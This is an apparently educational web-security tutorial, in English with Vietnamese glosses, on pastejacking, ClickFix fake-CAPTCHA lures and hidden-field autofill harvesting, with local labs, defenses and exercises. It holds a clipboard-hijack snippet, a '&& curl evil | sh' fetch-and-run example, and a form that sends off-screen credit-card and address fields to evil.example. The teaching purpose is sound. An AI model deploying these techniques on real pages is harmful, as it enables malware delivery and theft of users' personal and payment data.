Web Security for Frontend Devs · Part 19 — Clipboard & Autofill Attacks
Bonus track: pastejacking rewrites what you copy, the 2024–25 ClickFix wave tricks users into pasting malware into a terminal, and hidden form fields harvest autofill data. The mechanisms, defenses, a live lab, and exercises.
Part 19 — Bonus track in the Web Security for Frontend Devs series {Phần 19 — Nhánh bonus trong series Web Security for Frontend Devs}. Previous {Trước}: Part 18 — Reverse Tabnabbing & window.opener.
Most of this series attacks the page {Phần lớn series này tấn công trang}. This part attacks the user’s hands — the two everyday actions a page can quietly turn against them: copy/paste and autofill {Phần này tấn công đôi tay người dùng — hai thao tác hằng ngày mà một trang có thể âm thầm biến thành vũ khí: copy/paste và autofill}. None of these need XSS on your site {Không cái nào cần XSS trên site bạn}. They are pure trust manipulation, and they are responsible for a huge slice of 2024–2025 malware delivery {Chúng là thao túng niềm tin thuần túy, và chịu trách nhiệm cho một mảng lớn malware 2024–2025}.
Attack 1 — pastejacking (what you copy ≠ what you get) {Tấn công 1 — pastejacking (copy ≠ thứ nhận được)}
When you copy text, the page can intercept the copy event and replace what actually lands on your clipboard {Khi bạn copy, trang có thể bắt copy event và thay thứ thực sự vào clipboard}:
// the entire technique — defanged
document.addEventListener("copy", (e) => {
e.preventDefault();
e.clipboardData.setData("text/plain", "totally different text");
});
No permission prompt, no special API — the copy event fires from the user’s own gesture, and setData overrides the selection {Không prompt xin quyền, không API đặc biệt — copy event nổ từ chính cử chỉ người dùng, và setData ghi đè vùng chọn}. The classic abuse: a docs/blog page shows a harmless npm install …, you copy it, but your clipboard holds an extra && curl evil | sh {Lạm dụng kinh điển: trang docs hiện npm install … vô hại, bạn copy, nhưng clipboard chứa thêm && curl evil | sh}. Paste into a terminal and you’ve run code you never saw {Dán vào terminal là bạn đã chạy code chưa từng thấy}.
The tell {Điểm lộ}: the rendered text and the clipboard text differ {văn bản hiển thị và văn bản clipboard khác nhau}. Always paste commands into a plain editor first — never straight into a shell {Luôn dán lệnh vào editor thường trước — đừng dán thẳng vào shell}.
Attack 2 — ClickFix / FileFix (paste-to-pwn) {Tấn công 2 — ClickFix / FileFix (dán-là-dính)}
Pastejacking went industrial in 2024 {Pastejacking lên quy mô công nghiệp năm 2024}. The ClickFix pattern (and its FileFix variant) is now one of the most common malware-delivery techniques on the web {Mẫu ClickFix (và biến thể FileFix) giờ là một trong những kỹ thuật phát tán malware phổ biến nhất}:
1. Victim lands on a compromised/lookalike page → a fake CAPTCHA or "fix this error" prompt.
2. Clicking "I'm not a robot" runs JS that COPIES a PowerShell command to the clipboard.
3. The page instructs: "Press Win+R, then Ctrl+V, then Enter" (or Win+X → Terminal,
or paste into the File Explorer address bar — the FileFix variant).
4. The victim pastes attacker code into a shell and runs it themselves → infostealer / RAT.
The genius — and the horror — is that the user runs the command, so it sidesteps the browser sandbox, download warnings, and most server-side controls entirely {Cái hay — và đáng sợ — là người dùng tự chạy lệnh, nên nó né sandbox trình duyệt, cảnh báo tải về, và phần lớn kiểm soát phía server}. Campaigns like ClearFake have used this to drop infostealers (e.g. Lumma) across dozens of languages {Các chiến dịch như ClearFake dùng cách này để thả infostealer (vd Lumma) trên hàng chục ngôn ngữ}.
The one rule to teach everyone {Quy tắc duy nhất cần dạy mọi người}: a real human check never asks you to paste anything into Run, PowerShell, Terminal, or a file path {xác minh con người thật không bao giờ bảo bạn dán gì vào Run, PowerShell, Terminal, hay đường dẫn file}.
Attack 3 — hidden autofill harvesting {Tấn công 3 — thu hoạch autofill ẩn}
Browser and password-manager autofill operate on the whole form, not just the fields you can see {Autofill của trình duyệt và password manager hoạt động trên cả form, không chỉ field bạn thấy}. A malicious page shows two innocent fields and hides the rest off-screen {Trang độc hiện hai field vô hại và giấu phần còn lại ngoài màn hình}:
<form action="https://evil.example/collect">
<input name="name" autocomplete="name">
<input name="email" autocomplete="email">
<!-- pushed off-screen, not display:none -->
<input name="cc" autocomplete="cc-number" style="position:absolute;left:-9999px">
<input name="address" autocomplete="street-address" style="opacity:0">
<input name="tel" autocomplete="tel">
</form>
You autofill your name and email; the browser quietly fills the credit-card, address, and phone fields too, and they’re submitted to the attacker {Bạn autofill tên và email; trình duyệt âm thầm điền cả số thẻ, địa chỉ, số điện thoại, rồi tất cả gửi cho kẻ tấn công}. Research has shown both browsers and major password managers fill fields hidden by off-screen positioning, transparency, or visibility tricks (plain display:none is more often skipped) {Nghiên cứu cho thấy cả trình duyệt và password manager lớn đều điền field bị ẩn bằng vị trí ngoài màn hình, độ trong suốt, hay mẹo visibility (riêng display:none thường bị bỏ qua)}. Browsers are slowly adding viewport-visibility checks, but coverage is uneven {Trình duyệt dần thêm kiểm tra hiển thị trong viewport, nhưng độ phủ chưa đều}.
Try it — live clipboard & autofill lab {Thử ngay — lab clipboard & autofill}
Three panels {Ba panel}: (1) a real pastejacking box — toggle hijacking, copy, then paste to confirm your clipboard differs from what you saw; (2) a simulated ClickFix lure that reveals the (defanged) command it would have planted; (3) an autofill-harvest form — reveal the hidden fields, simulate an autofill, and submit to see what leaks, then apply the fix {(1) hộp pastejacking thật; (2) mồi ClickFix mô phỏng; (3) form thu hoạch autofill}. Nothing is executed or sent anywhere {Không gì được thực thi hay gửi đi}.
Open the full demo {Mở demo đầy đủ}: /tools/clipboard-autofill-demo/.
Hands-on labs — reproduce them safely {Lab thực hành — tái hiện an toàn}
Serve over HTTP so clipboard/autofill behave normally {Phục vụ qua HTTP để clipboard/autofill hoạt động bình thường}.
Shared setup {Chuẩn bị chung}
mkdir -p /tmp/clip && cd /tmp/clip
python3 -m http.server 5000 >/dev/null 2>&1 & # or: npx serve -p 5000 .
echo "open http://localhost:5000/"
Lab 1 — pastejacking {Lab 1 — pastejacking}
cat > /tmp/clip/paste.html <<'EOF'
<!doctype html><meta charset="utf-8"><title>copy me</title>
<p>Copy this “safe” command:</p>
<pre id="cmd">npm install cool-lib</pre>
<p>Now paste it here: <textarea rows="3" cols="60"></textarea></p>
<script>
document.addEventListener("copy", (e) => {
e.preventDefault();
// harmless stand-in — the point is clipboard != what you saw
e.clipboardData.setData("text/plain", "npm install cool-lib # + echo PWNED");
});
</script>
EOF
Open paste.html, select the command, Ctrl/Cmd+C, paste into the box — the clipboard text has an extra payload you never selected {Mở paste.html, chọn lệnh, copy, dán — clipboard có thêm payload bạn chưa từng chọn}.
Proved {Đã chứng minh}: the copy event can rewrite the clipboard with no prompt {copy event ghi lại clipboard không cần prompt}.
Lab 2 — hidden autofill harvesting {Lab 2 — thu hoạch autofill ẩn}
cat > /tmp/clip/autofill.html <<'EOF'
<!doctype html><meta charset="utf-8"><title>newsletter</title>
<form id="f" action="javascript:void(0)">
<label>Name <input name="name" autocomplete="name"></label><br>
<label>Email <input name="email" autocomplete="email"></label><br>
<!-- hidden off-screen, still autofilled by many UAs -->
<input name="tel" autocomplete="tel" style="position:absolute;left:-9999px">
<input name="address" autocomplete="street-address" style="position:absolute;left:-9999px">
<button>Subscribe</button>
</form>
<pre id="out"></pre>
<script>
f.addEventListener("submit", () => {
const d = Object.fromEntries(new FormData(f));
out.textContent = "would POST: " + JSON.stringify(d, null, 2);
});
</script>
EOF
Open autofill.html in a browser that has an address autofill profile, click the Name field, accept autofill, then Subscribe {Mở autofill.html trong trình duyệt có profile autofill địa chỉ, bấm field Name, nhận autofill, rồi Subscribe}. The output includes tel and address you never saw {Output có tel và address bạn chưa từng thấy}. (Behavior varies by browser/manager — that variance is the point.) {Hành vi khác nhau theo trình duyệt/manager — chính sự khác biệt đó là điểm cần thấy.}
Proved {Đã chứng minh}: autofill operates on the whole form, including fields off-screen {autofill xử lý cả form, gồm field ngoài màn hình}.
Clean up {Dọn dẹp}
kill %1 2>/dev/null; rm -rf /tmp/clip
Defenses {Phòng thủ}
If you build “copy” buttons or render commands {Nếu bạn làm nút “copy” hay render lệnh}
- Set the clipboard explicitly to the exact visible string in your own copy handler — don’t let a stray global
copylistener (or third-party script) rewrite it {Đặt clipboard đúng chuỗi hiển thị trong handler của bạn}. - Render commands as plain, selectable text; avoid hidden characters and zero-width tricks {Render lệnh dạng text thường, tránh ký tự ẩn / zero-width}.
- Audit third-party scripts that can attach a
copylistener (see Part 9 on third-party risk) {Rà script bên thứ ba có thể gắncopylistener}.
Protect users from ClickFix {Bảo vệ người dùng khỏi ClickFix}
- Education is the primary control: never paste into Run/PowerShell/Terminal/file path from a webpage {Giáo dục là chính: không dán vào Run/PowerShell/Terminal/đường dẫn từ trang web}.
- Org-side: restrict the Run dialog / constrained-language PowerShell, EDR rules for
explorer.exe → powershell.exewith encoded commands, and browser controls that flag malicious copy-to-clipboard {Phía tổ chức: hạn chế Run dialog, PowerShell constrained-language, rule EDR, kiểm soát trình duyệt cờ copy độc hại}. - If your product legitimately shows commands, never wrap them in “press Win+R and paste” instructions — you’re training users into the exact vulnerable habit {Nếu sản phẩm bạn hiện lệnh, đừng kèm hướng dẫn “Win+R rồi dán” — bạn đang luyện thói quen dính bẫy}.
Stop autofill harvesting in your forms {Chặn thu hoạch autofill trong form}
- Don’t include sensitive fields you don’t visibly need; if a field isn’t shown, don’t have it in the autofillable form {Đừng thêm field nhạy cảm không hiển thị; field không hiện thì đừng để trong form autofill}.
- Use correct, minimal
autocompletetokens; setautocomplete="off"on fields that should never be auto-filled {Dùngautocompleteđúng và tối thiểu; đặtautocomplete="off"cho field không nên autofill}. - Replace passwords with passkeys / WebAuthn where possible — there is no autofillable secret to harvest {Thay mật khẩu bằng passkeys / WebAuthn khi có thể}.
- Keep login forms free of clickjacking/overlay (recall Part 7) so an attacker can’t combine a hidden field trap with an invisible overlay {Giữ form login khỏi clickjacking/overlay (nhớ Phần 7)}.
Prevention checklist {Checklist phòng tránh}
- In copy handlers, write the exact visible text; audit global/third-party
copylisteners {Trong copy handler, ghi đúng text hiển thị; ràcopylistener}. - Teach: paste commands into an editor first, never straight into a shell {Dạy: dán lệnh vào editor trước}.
- Teach: no legitimate site asks you to paste into Run/Terminal/file path (ClickFix/FileFix) {Không site hợp pháp nào bảo dán vào Run/Terminal}.
- Forms: no hidden sensitive fields; correct
autocomplete;autocomplete="off"where needed {Form: không field nhạy cảm ẩn;autocompleteđúng}. - Prefer passkeys/WebAuthn over autofillable passwords {Ưu tiên passkeys/WebAuthn}.
- Org controls: constrain Run/PowerShell, EDR + browser detection for malicious copy-paste {Kiểm soát tổ chức: hạn chế Run/PowerShell, EDR + phát hiện trình duyệt}.
Bài tập / Exercises
1. A docs site has a “copy” button next to install commands. What is the minimum it must do so a third-party analytics script can’t pastejack its commands? {Site docs có nút “copy” cạnh lệnh cài. Tối thiểu phải làm gì để script analytics bên thứ ba không pastejack được?}
Solution {Lời giải}
The button’s own handler must set the clipboard to the exact visible string (e.g. navigator.clipboard.writeText(theShownText)), and the page must not have a global copy listener that rewrites data {Handler nút đặt clipboard đúng chuỗi hiển thị, và trang không có copy listener toàn cục ghi đè}. Plus audit third-party scripts (a malicious one can still add its own copy listener) — limit them with SRI/CSP and review {Rà script bên thứ ba — giới hạn bằng SRI/CSP}.
2. Why does ClickFix bypass the browser’s download warnings and most server-side defenses entirely? {Vì sao ClickFix né hoàn toàn cảnh báo tải về và phần lớn phòng thủ phía server?}
Solution {Lời giải}
Because the user runs the command themselves in a local shell — the malicious code never travels as a flagged download or a request your server can inspect; the browser only put text on the clipboard, which is not a gated action {Vì người dùng tự chạy lệnh trong shell cục bộ — code độc không đi như một download bị cờ hay request server soi được; trình duyệt chỉ đặt text lên clipboard}. Defense shifts to user education + endpoint controls (constrained PowerShell, EDR) {Phòng thủ chuyển sang giáo dục + kiểm soát endpoint}.
3. In the autofill lab, the attacker uses position:absolute;left:-9999px instead of display:none. Why, and what should your own forms do? {Trong lab autofill, kẻ tấn công dùng position:absolute;left:-9999px thay vì display:none. Vì sao, và form bạn nên làm gì?}
Solution {Lời giải}
Many browsers/password managers skip display:none but still fill off-screen/transparent fields, so positioning hides the field from the user while keeping it autofillable {Nhiều UA bỏ qua display:none nhưng vẫn điền field ngoài màn hình/trong suốt}. Your forms should contain no hidden sensitive fields at all, use minimal correct autocomplete, and set autocomplete="off" where appropriate — don’t rely on the UA’s visibility heuristics {Form bạn không nên có field nhạy cảm ẩn, dùng autocomplete đúng/tối thiểu, đặt autocomplete="off" khi cần}.
Stretch {Nâng cao}: In the lab, turn on “Apply fix” and explain in one sentence what a visibility-checking user agent is doing differently {Trong lab, bật “Apply fix” và giải thích một câu UA kiểm tra hiển thị làm khác gì}.
Key takeaways {Điểm chính}
- Pastejacking: a
copylistener +setDatamakes your clipboard differ from what you saw — paste commands into an editor first {copylistener +setDatakhiến clipboard khác thứ bạn thấy}. - ClickFix/FileFix: fake CAPTCHAs copy a command and trick users into pasting it into Run/Terminal — it bypasses the browser because the user runs it {mồi CAPTCHA giả khiến người dùng dán vào Run/Terminal — né trình duyệt vì người dùng chạy}.
- Autofill harvesting: hidden off-screen fields get autofilled and submitted — never put sensitive fields you don’t show {field ẩn ngoài màn hình bị autofill và gửi đi}.
- Defenses: explicit copy handlers, user education, minimal/correct
autocomplete, no hidden sensitive fields, and passkeys over passwords {Phòng thủ: copy handler tường minh, giáo dục,autocompleteđúng, không field ẩn, passkeys}.
Sources {Nguồn}
- Dylan Ayrey — original pastejacking write-up.
- Palo Alto Unit 42 — Preventing the ClickFix attack vector; Sekoia — ClearFake’s ClickFix variant.
- MDN — Clipboard API and the
copyevent. - WHATWG/W3C — prevent autofill of hidden fields; USENIX/CCS — privacy threats of browser form autofill.
The series {Series}
Bonus parts on top of the core ten and the advanced track (Parts 11–16): Part 17 — npm install supply chain (build layer), Part 18 — reverse tabnabbing (link layer), and Part 19 — clipboard & autofill (interaction layer) {Các phần bonus trên nền mười phần lõi và nhánh nâng cao}. The throughline from Part 10: every channel the user touches — input, links, clipboard, autofill — is attacker-reachable; design each so the safe path is the default {Sợi chỉ từ Phần 10: mọi kênh người dùng chạm tới — input, link, clipboard, autofill — đều trong tầm kẻ tấn công; thiết kế sao cho đường an toàn là mặc định}.